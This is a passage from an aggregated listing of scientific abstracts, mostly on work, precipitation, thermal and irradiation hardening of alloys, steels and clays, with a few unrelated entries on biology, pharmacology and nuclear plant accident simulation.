caused by coarsening of the lamellar precipitates composed of the Pd-rich phase. 15. Precipitation hardening of a Cu-free Au-Ag-Pd-In dental alloy International Nuclear Information System (INIS) Seol, Hyo-Joung; Son, Kuk-Hyeon; Yu, Chin-Ho; Kwon, Yong Hoon; Kim, Hyung-Il 2005-01-01 The hardening mechanism and related microstructural changes of the Cu-free dental casting alloy composed of Au-Ag-Pd-In was examined by means of hardness test, X-ray diffraction (XRD), scanning electron microscopic (SEM) observations and electron probe microanalysis (EPMA). The Au-Ag-Pd-In alloy showed apparent age-hardenability. In the SEM photograph, three phases were observed in the solution-treated specimen, that is, the Au-Ag based phase with small amounts of In and Pd as matrix, the InPd phase as particle-like structures, and the Pd-rich phase as lamellar precipitates. By aging the specimen, the very fine Pd-rich inter-granular precipitates grew toward the grain interior as lamellar structure, and finally the coarsened Pd-rich precipitates covered a large part of the Au-Ag based matrix. The hardness increase in the early stage of the age-hardening process was assumed to be caused by the diffusion and aggregation of Pd atoms from the Au-Ag based matrix. The hardness decrease in the later stage of age-hardening process was caused by coarsening of the lamellar precipitates composed of the Pd-rich phase 16. Bake hardening of ultra-fine grained low carbon steel produced by constrained groove pressing International Nuclear Information System (INIS) Alihosseini, H.; Dehghani, K. 2012-01-01 Highlights: ► BH of UFG low carbon steel sheets was studied. ► Three passes of CGP are used for producing of UFG sheets. ► Maximum BH was achieved to the UFG specimen pre-strained 8% by baking at 250 °C. - Abstract: In the present work, the bake hardening of ultra-fine grained low carbon steel was compared with that of its coarse-grain counterpart. The ultra-fine grained sheets were produced by applying three passes of constrained groove pressing resulting the grains of 260–270 nm. The microstructure of ultra-fine grain specimens were characterized using electron back-scatter diffraction technique. Then, the bake hardenability of ultra-fine grain and coarse-grain samples were compared by pre-straining to 4, 6 and 8% followed by baking at 150 °C and 250 °C for 20 min. The results show that in case of baking at 250 °C, there was an increase about 108%, 93%, and 72% in the bake hardening for 4%, 6% and 8% pre-strain, respectively. As for baking at 150 °C, these values were 170%, 168%, and 100%, respectively for 4%, 6% and 8% pre-strain. The maximum in bake hardenability (103 MPa) and final yield stress (563 MPa) were pertaining to the ultra-fine grain specimen pre-strained 8% followed by baking at 250 °C. 17. Effect of solute elements on hardening of thermally-aged RPV model alloys International Nuclear Information System (INIS) Nomoto, A.; Nishida, K.; Dohi, K.; Soneda, N.; Liu, L.; Sekimura, N.; Li, Z. 2015-01-01 Embrittlement correlation methods for irradiated reactor pressure vessel (RPV) steels have been developed worldwide to predict the amount of embrittlement during plant operation. The effect of chemical composition on embrittlement is not fully understood, particularly the process of solute atom behavior during solute atom formation. In this series of slides we report the results of thermal ageing experiments of RPV model alloys in order to obtain information on the effect of chemical composition on the hardening process. We can draw the following conclusions. First, the addition of Ni or Si alone to Fe-Cu model alloys does not have clear effect but the addition of Mn to Fe-Cu-Ni alloy accelerates the cluster formation and hardening drastically, the effect of composition on the cluster strength is not clear. Secondly, the hardening process before the hardening peak has linear correlation with APT (Atom Probe Tomography) results and the RSS (Root-Sum-Square)sum model seems to explain the relationship between increase in hardness and APT data in a more consistent manner 18. Extreme temperatures increase the deleterious consequences of inbreeding under laboratory and semi-natural conditions DEFF Research Database (Denmark) Kristensen, Torsten Nygård; Barker, J. Stuart F.; Pedersen, Kamilla Sofie 2008-01-01 when compared with non-inbred lines of Drosophila melanogaster under different temperature conditions. Egg-to-adult viability, developmental time and sex ratio of emerging adults are studied under low, intermediate and high temperatures under laboratory as well as semi-natural conditions. The results...... show inbreeding depression for egg-to-adult viability. The level of inbreeding depression is highly dependent on test temperature and is observed only at low and high temperatures. Inbreeding did not affect the developmental time or the sex ratio of emerging adults. However, temperature affected...... the sex ratio with more females relative to males emerging at low temperatures, suggesting that selection against males in pre-adult life stages is stronger at low temperatures. The coefficient of variation (CV) of egg-to-adult viability within and among lines is higher for inbred flies and generally... 19. Presence of riparian vegetation increases biotic condition of fish assemblages in two Brazilian reservoirs OpenAIRE Ferreira, Fabio Cop; Souza, Ursulla Pereira; Petrere Junior2, Miguel 2015-01-01 Abstract The riparian vegetation in lakes and reservoirs is source of course wood structures such as trunks and branches and is used as sheltering, spawning and foraging habitats for fishes. The reduction of these submerged structures can thus, affect the composition and structure of fish assemblages in reservoirs. Aim To evaluate the influence of riparian vegetation on the biotic condition of fish assemblage by adapting the Reservoir Fish Assemblage Index (RFAI) to two reservoirs in the Upp... 20. Glycerol and urea can be used to increase skin permeability in reduced hydration conditions. Science.gov (United States) Björklund, Sebastian; Engblom, Johan; Thuresson, Krister; Sparr, Emma 2013-12-18 1. Hardening of ODS ferritic steels under irradiation with high-energy heavy ions Science.gov (United States) Ding, Z. N.; Zhang, C. H.; Yang, Y. T.; Song, Y.; Kimura, A.; Jang, J. 2017-09-01 Influence of the nanoscale oxide particles on mechanical properties and irradiation resistance of oxide-dispersion-strengthened (ODS) ferritic steels is of critical importance for the use of the material in fuel cladding or blanket components in advanced nuclear reactors. In the present work, impact of structures of oxide dispersoids on the irradiation hardening of ODS ferritic steels was studied. Specimens of three high-Cr ODS ferritic steels containing oxide dispersoids with different number density and average size were irradiated with high-energy Ni ions at about -50 °C. The energy of the incident Ni ions was varied from 12.73 MeV to 357.86 MeV by using an energy degrader at the terminal so that a plateau of atomic displacement damage (∼0.8 dpa) was produced from the near surface to a depth of 24 μm in the specimens. A nanoindentor (in constant stiffness mode with a diamond Berkovich indenter) and a Vickers micro-hardness tester were used to measure the hardeness of the specimens. The Nix-Gao model taking account of the indentation size effect (ISE) was used to fit the hardness data. It is observed that the soft substrate effect (SSE) can be diminished substantially in the irradiated specimens due to the thick damaged regions produced by the Ni ions. A linear correlation between the nano-hardeness and the micro-hardness was found. It is observed that a higher number density of oxide dispersoids with a smaller average diameter corresponds to an increased resistance to irradiation hardening, which can be ascribed to the increased sink strength of oxides/matrix interfaces to point defects. The rate equation approach and the conventional hardening model were used to analyze the influence of defect clusters on irradiation hardening in ODS ferritic steels. The numerical estimates show that the hardening caused by the interstitial type dislocation loops follows a similar trend with the experiment data. 2. Environmental hardening of robots for nuclear maintenance and surveillance tasks International Nuclear Information System (INIS) Hintenlang, D.E.; Tulenko, J.S.; Wheeler, R.; Roy, T. 1990-01-01 The University of Florida, in cooperation with the Universities of Texas, Tennessee, and Michigan and Oak Ridge National Laboratory, is developing an advanced robotic system for the US Department of Energy under the University Program for Robotics for Advanced Reactors. As part of this program, the University of Florida has been pursuing the development of environmentally hardened components so that autonomous robotic systems can successfully carry out their tasks under the most extreme expected environmental conditions. This requirement means that the designed robotic system with its onboard computer-based intelligence must be able to successfully complete tasks in toxic, radioactive, wet, temperature extremes, and other physically impairing environments. As part of this program, a study was carried out to determine the environmental conditions that should be set as the design criteria for robotic systems to maintain reasonable operations for nuclear plants in the course of maintenance, testing, and surveillance under all conditions, including plant upset. It was decided that Florida would build a combined environmental testing facility to test specific devices in high-radiation/high-temperature combined environments. This environmental test chamber has been built and successfully tested to over 250 degree F. This facility will provide some of the first combined temperatures/radiation data for many large-scale integrated components 3. Stress corrosion cracking evaluation of martensitic precipitation hardening stainless steels Science.gov (United States) Humphries, T. S.; Nelson, E. E. 1980-01-01 The resistance of the martensitic precipitation hardening stainless steels PH13-8Mo, 15-5PH, and 17-4PH to stress corrosion cracking was investigated. Round tensile and c-ring type specimens taken from several heats of the three alloys were stressed up to 100 percent of their yield strengths and exposed to alternate immersion in salt water, to salt spray, and to a seacoast environment. The results indicate that 15-5PH is highly resistant to stress corrosion cracking in conditions H1000 and H1050 and is moderately resistant in condition H900. The stress corrosion cracking resistance of PH13-8Mo and 17-4PH stainless steels in conditions H1000 and H1050 was sensitive to mill heats and ranged from low to high among the several heats included in the tests. Based on a comparison with data from seacoast environmental tests, it is apparent that alternate immersion in 3.5 percent salt water is not a suitable medium for accelerated stress corrosion testing of these pH stainless steels. 4. Semi-exact solution of non-uniform thickness and density rotating disks. Part II: Elastic strain hardening solution International Nuclear Information System (INIS) Hojjati, M.H.; Jafari, S. 2009-01-01 Analytical solutions for the elastic-plastic stress distribution in rotating annular disks with uniform and variable thicknesses and densities are obtained under plane stress assumption. The solution employs a technique called the homotopy perturbation method. A numerical solution of the governing differential equation is also presented based on the Runge-Kutta's method for both elastic and plastic regimes. The analysis is based on Tresca's yield criterion, its associated flow rule and linear strain hardening. The results of the two methods are compared and generally show good agreement. It is shown that, depending on the boundary conditions used, the plastic core may contain one, two or three different plastic regions governed by different mathematical forms of the yield criterion. Four different stages of elastic-plastic deformation occur. The expansion of these plastic regions with increasing angular velocity is obtained together with the distributions of stress and displacement 5. Chloride diffusivity in hardened cement paste from microscale analyses and accounting for binding effects OpenAIRE Carrara, P; De Lorenzis, L; Bentz, D P 2016-01-01 The diffusion of chloride ions in hardened cement paste (HCP) under steady-state conditions and accounting for the highly heterogeneous nature of the material is investigated. The HCP microstructures are obtained through segmentation of X-ray images of real samples as well as from simulations using the cement hydration model CEMHYD3D. Moreover, the physical and chemical interactions between chloride ions and HCP phases (binding), along with their effects on the diffusive process, are explicit... 6. Procrastination in the pigeon: Can conditioned reinforcement increase the likelihood of human procrastination? Science.gov (United States) Zentall, Thomas R; Case, Jacob P; Andrews, Danielle M 2017-11-29 Procrastination is the tendency to put off initiation or completion of a task. Although people are typically known to procrastinate, recent research suggests that they sometimes "pre-crastinate" by initiating a task sooner than they need to (Rosenbaum et al. in Psychological Science, 25(7), 1487-1496, 2014). A similar finding of precrastination was reported by Wasserman and Brzykcy (Psychonomic Bulletin & Review, 22, 1130-1134, 2015) with pigeons using a somewhat different procedure. In the present experiment, we used a procedure with pigeons that was more similar to the procedure used by Rosenbaum et al. Pigeons were given a choice between two sequences of events (concurrent chains). Choice of the procrastination chain resulted in color A, which 15-s later would change to color B and 5-s later resulted in reinforcement. Choice of the precrastination chain resulted in color C, which 5-s later would change to color D and 15-s later resulted in reinforcement. Thus, both chains led to reinforcement after 20 s. Results indicated that the pigeons procrastinated. That is, they preferred the 15-5 chain over the 5-15 chain. The results are consistent with Fantino's (Journal of the Experimental Analysis of Behavior, 12, 723-730, 1969) delay reduction theory, which posits that stimuli that signal a reduction in the delay to reinforcement, such as the 5-s stimulus that occurred immediately prior to reinforcement, serve as strong conditioned reinforcers and should be preferred. In support of this theory, the pigeons pecked most at the 5-s stimulus that led immediately to reinforcement, indicating that it had become a strong conditioned reinforcer. The results suggest that delay reduction theory, a theory that emphasizes the attraction to stimuli that predict reinforcement with a short delay, also may contribute to human procrastination behavior because when task completion comes just before the deadline, it may become a stronger conditioned reinforcer than if task completion 7. Hardening and softening mechanisms of pearlitic steel wire under torsion International Nuclear Information System (INIS) Zhao, Tian-Zhang; Zhang, Shi-Hong; Zhang, Guang-Liang; Song, Hong-Wu; Cheng, Ming 2014-01-01 Highlights: • Mechanical behavior of pearlitic steel wire is studied using torsion. • Work hardening results from refinement lamellar pearlitic structure. • Softening results from recovery, shear bands and lamellar fragmentations. • A microstructure based analytical flow stress model is established. - Abstract: The mechanical behaviors and microstructure evolution of pearlitic steel wires under monotonic shear deformation have been investigated by a torsion test and a number of electron microscopy techniques including scanning electron microscopy (SEM) and transmission electron microscopy (TEM), with an aim to reveal the softening and hardening mechanisms of a randomly oriented pearlitic structure during a monotonic stain path. Significantly different from the remarkable strain hardening in cold wire drawing, the strain hardening rate during torsion drops to zero quickly after a short hardening stage. The microstructure observations indicate that the inter-lamellar spacing (ILS) decreases and the dislocations accumulate with strain, which leads to hardening of the material. Meanwhile, when the strain is larger than 0.154, the enhancement of dynamic recovery, shear bands (SBs) and cementite fragmentations results in the softening and balances the strain hardening. A microstructure based analytical flow stress model with considering the influence of ILS on the mean free path of dislocations and the softening caused by SBs and cementite fragmentations, has been established and the predicted flow shear curve meets well with the measured curve in the torsion test 8. Numerical and experimental comparison of plastic work-hardening rules International Nuclear Information System (INIS) Haisler, W.E. 1977-01-01 The purpose of this paper is to describe recent numerical and experimental correlation studies of several plastic work-hardening rules. The mechanical sublayer model and the combined kinematic-isotropic hardening rules are examined and the numerical results for several structural geometries are compared to experimental results. Both monotonic and cyclic loads are considered. The governing incremental plasticity relations are developed for both work-hardening models. The combined kinematic-isotropic hardening model is developed in terms of a ratio γ which controls the relative contribution of kinematic hardening (yield surface translation) and isotropic hardening (yield surface expansion). In addition to making use of a uniaxial stress-strain curve as input data, the model allows for the input of a yield surface size vs. uniaxial plastic strain curve obtained from a cyclic uniaxial reverse loading test. The mechanical sublayer model is developed in general form and a new method for determining the sublayer parameters (stress weighting factors and yield stresses) is presented. It is demonstrated that former procedures used to obtain the sublayer parameters are inconsistent for multiaxial loading. Numerical and experimental results are presented for a cylinder, circular plate with punch, and a steel pressure vessel. The numerical results are obtained with the computer program AGGIE I. The comparison study indicates that reasonable agreement is obtained with both hardening models; the choice depending upon whether the loading is monotonic or cyclic 9. Epistasis increases the rate of conditionally neutral substitution in an adapting population. Science.gov (United States) Draghi, Jeremy A; Parsons, Todd L; Plotkin, Joshua B 2011-04-01 Kimura observed that the rate of neutral substitution should equal the neutral mutation rate. This classic result is central to our understanding of molecular evolution, and it continues to influence phylogenetics, genomics, and the interpretation of evolution experiments. By demonstrating that neutral mutations substitute at a rate independent of population size and selection at linked sites, Kimura provided an influential justification for the idea of a molecular clock and emphasized the importance of genetic drift in shaping molecular evolution. But when epistasis among sites is common, as numerous empirical studies suggest, do neutral mutations substitute according to Kimura's expectation? Here we study simulated, asexual populations of RNA molecules, and we observe that conditionally neutral mutations--i.e., mutations that do not alter the fitness of the individual in which they arise, but that may alter the fitness effects of subsequent mutations--substitute much more often than expected while a population is adapting. We quantify these effects using a simple population-genetic model that elucidates how the substitution rate at conditionally neutral sites depends on the population size, mutation rate, strength of selection, and prevalence of epistasis. We discuss the implications of these results for our understanding of the molecular clock, and for the interpretation of molecular variation in laboratory and natural populations. 10. Appetitive Pavlovian conditioned stimuli increase CREB phosphorylation in the nucleus accumbens. Science.gov (United States) Shiflett, Michael W; Mauna, Jocelyn C; Chipman, Amanda M; Peet, Eloise; Thiels, Edda 2009-10-01 The transcription factor cAMP response element-binding protein (CREB) in the nucleus accumbens (NAc) has been shown to regulate an animal's behavioral responsiveness to emotionally salient stimuli, and an increase in CREB phosphorylation in the NAc has been observed during exposure to rewarding stimuli, such as drugs of abuse. Here we show that CREB phosphorylation increases in the NAc also during exposure to cues that an animal has associated with delivery of natural rewards. Adult male Sprague-Dawley rats (rattus norvegicus) were trained to associate an auditory stimulus with delivery of food pellets, and CREB phosphorylation was examined in the striatum following training. We found that repeated tone-food pairings resulted in an increase in CREB phosphorylation in the NAc but not in the adjacent dorsal striatum or in the NAc 3h after the final training session. We further found that the cue itself, as opposed to the food pellets, the training context, or tone-food pairings, was sufficient to increase CREB phosphorylation in the NAc. These results suggest that the processing of primary rewarding stimuli and of environmental cues that predict them triggers similar accumbal signaling mechanisms. 11. Selecting Native Arbuscular Mycorrhizal Fungi to Promote Cassava Growth and Increase Yield under Field Conditions Science.gov (United States) Séry, D. Jean-Marc; Kouadjo, Z. G. Claude; Voko, B. R. Rodrigue; Zézé, Adolphe 2016-01-01 The use of arbuscular mycorrhizal fungal (AMF) inoculation in sustainable agriculture is now widespread worldwide. Although the use of inoculants consisting of native AMF is highly recommended as an alternative to commercial ones, there is no strategy to allow the selection of efficient fungal species from natural communities. The objective of this study was (i) to select efficient native AMF species (ii) evaluate their impact on nematode and water stresses, and (iii) evaluate their impact on cassava yield, an important food security crop in tropical and subtropical regions. Firstly, native AMF communities associated with cassava rhizospheres in fields were collected from different areas and 7 AMF species were selected, based upon their ubiquity and abundance. Using these criteria, two morphotypes (LBVM01 and LBVM02) out of the seven AMF species selected were persistently dominant when cassava was used as a trap plant. LBVM01 and LBVM02 were identified as Acaulospora colombiana (most abundant) and Ambispora appendicula, respectively, after phylogenetic analyses of LSU-ITS-SSU PCR amplified products. Secondly, the potential of these two native AMF species to promote growth and enhance tolerance to root-knot nematode and water stresses of cassava (Yavo variety) was evaluated using single and dual inoculation in greenhouse conditions. Of the two AMF species, it was shown that A. colombiana significantly improved the growth of the cassava and enhanced tolerance to water stress. However, both A. colombiana and A. appendicula conferred bioprotective effects to cassava plants against the nematode Meloidogyne spp., ranging from resistance (suppression or reduction of the nematode reproduction) or tolerance (low or no suppression in cassava growth). Thirdly, the potential of these selected native AMF to improve cassava growth and yield was evaluated under field conditions, compared to a commercial inoculant. In these conditions, the A. colombiana single inoculation and the 12. Alloying effect on hardening of martensite stainless steels of the Fe-Cr-Ni and Fe-Cr-Co systems International Nuclear Information System (INIS) Fel'dgandler, Eh.G.; Savkina, L.Ya. 1975-01-01 The effect of alloying elements is considered on the γ → a-transformation and hardening of certain compositions of the ternary Fe-Cr-Ni- and Fe-Cr-Co alloy systems with the martensite structure. In martensite Fe-(10 to 14)% Cr base steels the elements Co, Cu, W, Ni, Mo, Si, Cr decrease, Mn, Si, Mo, Cu increase, and Cr, Ni, Co decrease the temperature of α → γ-transition. The tempering of martensite steels of the Fe-Cr-Ni- and Fe-Cr-Co-systems containing 10 to 14% Cr, 4 to 9% Ni, and 7 to 12% Co does not lead to hardening. Alloyage of the martensite Fe-Cr-Ni-, Fe-Cr-Co- and Fe-Cr-Ni-Co base separately with Mo, W, Si or Cu leads to a hardening during tempering, the hardening being the higher, the higher is the content of Ni and, especially, of Co. The increase in the content of Mo or Si produces the same effect as the increase in the Co content. In on Fe-Cr-Co or Fe-Cr-Ni-Co based steels alloyed with Mo or Si, two temperature ranges of ageing have been revealed which, evidently, have different hardening natures. The compositions studied could serve as the base material for producing maraging stainless steels having a complex variety of properties 13. Simulations of the design basis accident at conditions of power increase and the o transient of MSIV at overpressure conditions of the Laguna Verde Power Station International Nuclear Information System (INIS) Araiza M, E.; Nunez C, A. 2001-01-01 This document presents the analysis of the simulation of the loss of coolant accident at uprate power conditions, that is 2027 MWt (105% of the current rated power of 1931MWt). This power was reached allowing an increase in the turbine steam flow rate without changing the steam dome pressure value at its rated conditions (1020 psiaJ. There are also presented the results of the simulation of the main steam isolation va/ve transient at overpressure conditions 1065 psia and 1067 MWt), for Laguna Verde Nuclear Power Station. Both simulations were performed with the best estimate computer code TRA C BF1. The results obtained in the loss of coolant accident show that the emergency core coolant systems can recover the water level in the core before fuel temperature increases excessively, and that the peak pressure reached in the drywell is always below its design pressure. Therefore it is concluded that the integrity of the containment is not challenged during a loss of coolant accident at uprate power conditions.The analysis of the main steam isolation valve transients at overpressure conditions, and the analysis of the particular cases of the failure of one to six safety relief valves to open, show that the vessel peak pressures are below the design pressure and have no significant effect on vessel integrity. (Author) 14. Thermal hardening of saturated clays. Application to underground storage of radioactive wastes International Nuclear Information System (INIS) Picard, Jean-Marc 1994-01-01 Saturated clays submitted to constant mechanical loading and slow temperature increase frequently undergo irreversible contractions. This phenomena is described here by means of a change of plastic limits induced by temperature only, called thermal hardening. Constitutive laws adapted to this kind of plastic behaviour can be formulated within a general framework that satisfies thermodynamical principles. It shows that this coupling results from the presence of a latent heat during the isothermal hardening of plastic limits. A thermomechanical extension of Cam Clay model is then proposed and used in the analysis of laboratory thermomechanical tests performed on clay materials. Making use of tests already published, we show the adequacy of the concept of thermal hardening for clay behaviour. Some clay from deep geological formation considered for the disposal of radioactive waste exhibit thermal hardening in laboratory tests. The consequences for the underground storage facilities during the thermal loading created by the waste are investigated by means of in situ tests as well as numerical computation. The measurement around a heating probe buried in the clay mass demonstrate the significance of thermo-hydro-mechanical couplings. An accurate understanding of in situ measurements is achieved by means of numerical modeling in which the interaction between the various loading of the tests (excavation, pore pressure seepage, and heating) is carefully taken into account. Thermal hardening of the clay appears to be of little influence in these in situ tests. On the other hand, the magnitude of thermo-hydro-mechanical couplings observed in situ are higher than might have been expected from laboratory tests. A more accurate prediction is obtained if one takes into account the more stiffer behaviour of clays when they are subjected to small deformations. (authors) 15. Work hardening behavior study of structural alloys for cryogenic applications International Nuclear Information System (INIS) Chu, D.; Morris, J.W. Jr. 1992-01-01 Previous investigation on aluminum-lithium alloys have indicated different dependencies of the work hardening behavior on temperature. This variation in temperature dependence is attributed to differences in microstructure rather than composition. An understanding of the microstructural effect on the observed thermal dependency is important as it may allow the tailoring of deformation properties through mechanical processing. Work hardening analyses on other aluminum alloys and a number of structural steels have been performed to better elucidate the role played by microstructure in determining the work hardening behavior. In the paper correlations between the differences in mechanical behavior and the various microstructures observed are presented 16. Microstructural evolution, mechanical properties, and strain hardening behavior of ultrafine grained commercial pure copper during the accumulative roll bonding process Energy Technology Data Exchange (ETDEWEB) Fattah-alhosseini, A. [Department of Materials Engineering, Bu-Ali Sina University, Hamedan 65178-38695 (Iran, Islamic Republic of); Imantalab, O., E-mail: [email protected] [Department of Materials Engineering, Bu-Ali Sina University, Hamedan 65178-38695 (Iran, Islamic Republic of); Mazaheri, Y. [Department of Materials Engineering, Bu-Ali Sina University, Hamedan 65178-38695 (Iran, Islamic Republic of); Keshavarz, M.K. [Department of Engineering Physics, Polytechnique Montreal, Montreal (Canada) 2016-01-05 In this study, the microstructural evolution, mechanical properties, and strain hardening behavior of commercial pure copper processed by the accumulative roll bonding (ARB) were investigated. Transmission electron microscopy (TEM) micrographs and atomic force microscopy (AFM) images indicated that with increasing the number of ARB cycles, the grain size of samples decreased. An Ultrafine grained (UFG) structure with an average grain size of about 200 nm was achieved after four cycles of ARB. The yield and ultimate tensile strength of pure copper with the UFG microstructure was reached about 360 MPa and 396 MPa (about 400% and 100% higher than that of the annealed state), respectively. All ARB-processed copper samples showed lower strain hardening exponent in comparison with the annealed state. Moreover, the strain hardening rate increased with increasing ARB cycles up to 3 cycles and then decreased. 17. Microstructural evolution, mechanical properties, and strain hardening behavior of ultrafine grained commercial pure copper during the accumulative roll bonding process International Nuclear Information System (INIS) Fattah-alhosseini, A.; Imantalab, O.; Mazaheri, Y.; Keshavarz, M.K. 2016-01-01 In this study, the microstructural evolution, mechanical properties, and strain hardening behavior of commercial pure copper processed by the accumulative roll bonding (ARB) were investigated. Transmission electron microscopy (TEM) micrographs and atomic force microscopy (AFM) images indicated that with increasing the number of ARB cycles, the grain size of samples decreased. An Ultrafine grained (UFG) structure with an average grain size of about 200 nm was achieved after four cycles of ARB. The yield and ultimate tensile strength of pure copper with the UFG microstructure was reached about 360 MPa and 396 MPa (about 400% and 100% higher than that of the annealed state), respectively. All ARB-processed copper samples showed lower strain hardening exponent in comparison with the annealed state. Moreover, the strain hardening rate increased with increasing ARB cycles up to 3 cycles and then decreased. 18. Intelligent Commercial Lighting: Demand-Responsive Conditioning and Increased User Satisfaction OpenAIRE Agogino, Alice M. 2005-01-01 Energy efficiency has recently come to the forefront of energy debates, especially in the state of California. This focus on efficiency has been driven by the deregulation of electrical-energy distribution, the increasing price of electricity, and the implementation of rolling blackouts. Currently, buildings consume over 1/3 of primary energy, and 2/3 of all electricity produced in the U.S. Commercial buildings consume roughly half of this, and lighting is responsible for approximately 40% of... 19. Radiation Hardened Structured ASIC Platform with Compensation of Delay for Temperature and Voltage Variations for Multiple Redundant Temporal Voting Latch Technology Science.gov (United States) Ardalan, Sasan (Inventor) 2018-01-01 The invention relates to devices and methods of maintaining the current starved delay at a constant value across variations in voltage and temperature to increase the speed of operation of the sequential logic in the radiation hardened ASIC design. 20. Surface finishing and levelling of thermomechanically hardened rolled steel International Nuclear Information System (INIS) Grosval'd, V.G.; Bashchenko, A.P.; Grishkov, A.I.; Gutnik, M.V.; Kanevskij, B.L.; Nikozov, A.I.; Sedov, N.D.; Prosin, K.A.; Safonov, L.I. 1975-01-01 The finishing of high-strength merchant shapes from alloy steel was tried out under industrial conditions with the equipment of metallurgical plants. After thermomechanical hardening in the production line of the rolling mill, 30KhGSN2A and 40Kh1NVA steel rounds 32 and 31 mm in diameter were straightened on a two-roller straightening machine designed by the All-Union Scientific Research Institute for Metallurgical Machinery (VNII Metmash). This made possible subsequent turning and grinding of the rods. The conditions of straightening, turning and grinding have been worked so as to obtain thermomechanically strengthened and ground rolled products approximating the gauged and ground metal in shape geometry and surface finish. It is shown that the labour-consuming operation of turning can be eliminated by reducing the machining pass of the rolled product, and this lowers the labour required for the finishing operations by 75%. After grinding with 40- and 25-grain abrasive wheels, high strength rolled shapes were obtained with a diameter of 30-0.20 mm and a surface finish of class 6-5 satisfying the technical specifications. (author) 1. Effect of solution treatment on precipitation behaviors and age hardening response of Al–Cu alloys with Sc addition International Nuclear Information System (INIS) Chen, B.A.; Pan, L.; Wang, R.H.; Liu, G.; Cheng, P.M.; Xiao, L.; Sun, J. 2011-01-01 Highlights: ► Effects of Sc addition on the precipitation and age hardening of Al–Cu alloy were investigated. ► The critical influence of solution treatment on the Sc effect was revealed. ► A significant enhancement in age hardening response was experimentally found and quantitatively assessed. - Abstract: Influences of solution treatment on precipitation behaviors and age hardening response of Al–2.5 wt% Cu–0.3 wt% Sc alloys were investigated, in comparison with Sc-free one. The Al 3 Sc dispersoids, formed during homogenization, were either survived or dissolved to become Sc solute atoms in solution treatment, depending on the solution temperature. When the temperature for solution treatment is 873 K, most of the Al 3 Sc dispersoids were dissolved and a significant enhancement in the uniform precipitation of finer θ′-Al 2 Cu particles was achieved in following aging treatment, causing a noticeable increase in peak-aging hardness by about 90% compared to Sc-free alloys. The enhanced age hardening effect was quantitatively related to the remarkable reduction in effective inter-particle spacing of the plate-shaped θ′-Al 2 Cu precipitates. When the temperature for solution treatment is 793 K, however, most of the Al 3 Sc dispersoids were survived after solution treatment and facilitated the heterogeneous precipitation of θ′-Al 2 Cu plates directly on the {1 0 0} facets of dispersoids in following aging treatment. Concomitantly, the uniform precipitation of θ′-Al 2 Cu plates was greatly suppressed, resulting in a reduced age hardening response. The age hardening responses were quantitatively assessed by using a modified strengthening model that is applicable to the plate-shaped precipitates. The calculations were in good agreement with experimental results. The present results show the importance of controlling solution treatments to achieve significant promotion effect of Sc addition on the precipitation hardening in heat-treatable aluminum 2. Effect of strain rate and temperature on strain hardening behavior of a dissimilar joint between Ti–6Al–4V and Ti17 alloys International Nuclear Information System (INIS) Wang, S.Q.; Liu, J.H.; Chen, D.L. 2014-01-01 Highlights: • Only stage III hardening occurs after yielding in Ti–6Al–4V/Ti17 dissimilar joints. • Voce stress and strength of the joints increase with increasing strain rate. • With increasing strain rate, hardening capacity and strain hardening exponent decrease. • With increasing temperature, hardening capacity and strain hardening exponent increase. • Strain rate sensitivity of the joints decreases as the true strain increases. - Abstract: The aim of this study was to evaluate the influence of strain rate and temperature on the tensile properties, strain hardening behavior, strain rate sensitivity, and fracture characteristics of electron beam welded (EBWed) dissimilar joints between Ti–6Al–4V and Ti17 (Ti–5Al–4Mo–4Cr–2Sn–2Zr) titanium alloys. The welding led to significant microstructural changes across the joint, with hexagonal close-packed martensite (α′) and orthorhombic martensite (α″) in the fusion zone (FZ), α′ in the heat-affected zone (HAZ) on the Ti–6Al–4V side, and coarse β in the HAZ on the Ti17 side. A distinctive asymmetrical hardness profile across the dissimilar joint was observed with the highest hardness in the FZ and a lower hardness on the Ti–6Al–4V side than on the Ti17 side, where a soft zone was present. Despite a slight reduction in ductility, the yield strength (YS) and ultimate tensile strength (UTS) of the joints lay in-between the two base metals (BMs) of Ti–6Al–4V and Ti17, with the Ti17 alloy having a higher strength. While the YS, UTS, and Voce stress of the joints increased, both hardening capacity and strain hardening exponent decreased with increasing strain rate or decreasing temperature. Stage III hardening occurred in the joints after yielding. The hardening rate was strongly dependent on the strain rate and temperature. As the strain rate increased or temperature decreased, the strain hardening rate increased at a given true stress. The strain rate sensitivity evaluated via International Nuclear Information System (INIS) Smith, S.F.; Crutcher, R.I.; Vandermolen, R.I. 1990-01-01 The consolidated fuel reprocessing program (CFRP) at the Oak Ridge National Laboratory (ORNL) has been developing signal transmission techniques and equipment to improve the efficiency of remote handling operations for nuclear applications. These efforts have been largely directed toward the goals of (a) remotely controlling bilateral force-reflecting servomanipulators for dexterous manipulation-based operations in remote maintenance tasks and (b) providing television viewing of the work site. In September 1987, developmental microwave transceiving hardware operating with dish antennas was demonstrated in the advanced integrated maintenance system (AIMS) facility at ORNL, successfully implementing both high-quality one-way television transmissions and simultaneous bidirectional digital control data transmissions with very low error rates. Initial test results based on digital transmission at a 1.0-Mbaud data rate indicated that the error rates of the microwave system were comparable to those of a hardwired system. During these test intervals, complex manipulator operations were performed, and the AIMS transporter was moved repeatedly without adverse effects on data integrity. Results of these tests have been factored into subsequent phases of the development program, with an ultimate goal of designing a fully radiation-hardened microwave signal transmission system for use in nuclear facilities 4. Dexmedetomidine Increases Tau Phosphorylation Under Normothermic Conditions In Vivo and In Vitro Science.gov (United States) Whittington, Robert A.; Virág, László; Gratuze, Maud; Petry, Franck R.; Noël, Anastasia; Poitras, Isabelle; Truchetti, Geoffrey; Marcouiller, François; Papon, Marie-Amélie; Khoury, Noura El; Wong, Kevin; Bretteville, Alexis; Morin, Françoise; Planel, Emmanuel 2015-01-01 There is developing interest in the potential association between anesthesia and the onset and progression of Alzheimer's disease. Several anesthetics have thus been demonstrated to induce tau hyperphosphorylation, an effect mostly mediated by anesthesia-induced hypothermia. Here, we tested the hypothesis that acute normothermic administration of dexmedetomidine, an intravenous sedative used in intensive care units, would result in tau hyperphosphorylation in vivo and in vitro. When administered to non-transgenic mice, dexmedetomidine induced tau hyperphosphorylation persisting up to 6h in the hippocampus for the AT8 epitope. Pretreatment with atipamezole, a highly specific α2-adrenergic receptor (α2-AR) antagonist, blocked dexmedetomidine-induced tau hyperphosphorylation. Furthermore, dexmedetomidine dose-dependently increased tau phosphorylation at AT8 in SH-SY5Y cells, impaired mice spatial memory in the Barnes maze, and promoted tau hyperphosphorylation and aggregation in transgenic hTau mice. These findings suggest that dexmedetomidine: i) increases tau phosphorylation, in vivo and in vitro, in the absence of anesthetic-induced hypothermia and through α2-AR activation, ii) promotes tau aggregation in a mouse model of tauopathy, and iii) impacts 